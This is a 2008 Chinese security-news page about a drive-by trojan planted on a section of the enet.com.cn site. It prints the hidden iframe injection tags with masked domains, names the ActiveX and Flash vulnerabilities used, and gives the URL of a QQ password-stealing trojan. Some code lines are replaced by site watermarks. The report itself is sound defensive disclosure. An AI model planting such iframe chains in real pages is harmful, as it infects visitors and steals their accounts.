您现在的位置: > 首页 > 软件应用 > 系统安全
>> 最新教程
>> 热门教程
>> 最新游戏资讯
>> 热门游戏资讯
硅谷动力网站被挂马事件
作者:本站                来自:安迪教程网                 加入时间:08-09-10                进入论坛讨论

  8月27日,安天实验室发现,硅谷动力网站游戏先锋之动漫图库专栏被挂马(http://games.enet.com.cn/zhuanti/photo/)被黑客植入病毒,用户如果访问该网站,系统就会自动从恶意网站上下载并运行恶意程序。被感染病毒的用户系统可能被远程控制,盗取用户敏感信息,甚至导致死机。

  该网站问题代码:

hp.agwcn.com

  <iframe src=http://www.hb****.cn/b4.htm width=50 height=0 border=0></iframe>

  http://www.hb****.cn/b4.htm问题框架代码:

hp.agwcn.com

  <Iframe src=http://tech.ddvip.com/2008-08/"http://jz****.cn/fxx.htm" width=100 height=0></iframe>

  http://jz****.cn/fxx.htm网马代码:

hp.agwcn.com

  以上加密网马解密后可知利用以下漏洞来传播:

  MS06014漏洞 (clsid:BD96C556-65A3-11D0-983A-00C04FC29E36)

  RealPlayer播放器IERPCtl.IERPCtl.1漏洞

  联众世界游戏大厅所安装的GLCHAT.GLChatCtrl.1 ActiveX控件漏洞

  Adobe Flash Player SWF文件漏洞

  新浪UC DLoader Class ActiveX控件漏洞

  当用户访问http://games.enet.com.cn/zhuanti/photo/时,系统会自动下载以下病毒文件:

  http://down.hs****.cn/down/ko.exe 病毒名:(Trojan-PSW.Win32.QQPass.dcg)

  以上病毒文件为QQ盗号木马,自动运行后将会,盗取用户敏感信息,甚至导致死机。

相关教程
联系方式:QQ:6084884 email:agwcn@126.com 粤ICP备05055782号
本网站中发布的文章只代表发表人的个人观点,不代表安迪教程网网站的立场
copyright© 2000-2004 安迪教程网 All rights reserved agwcn.com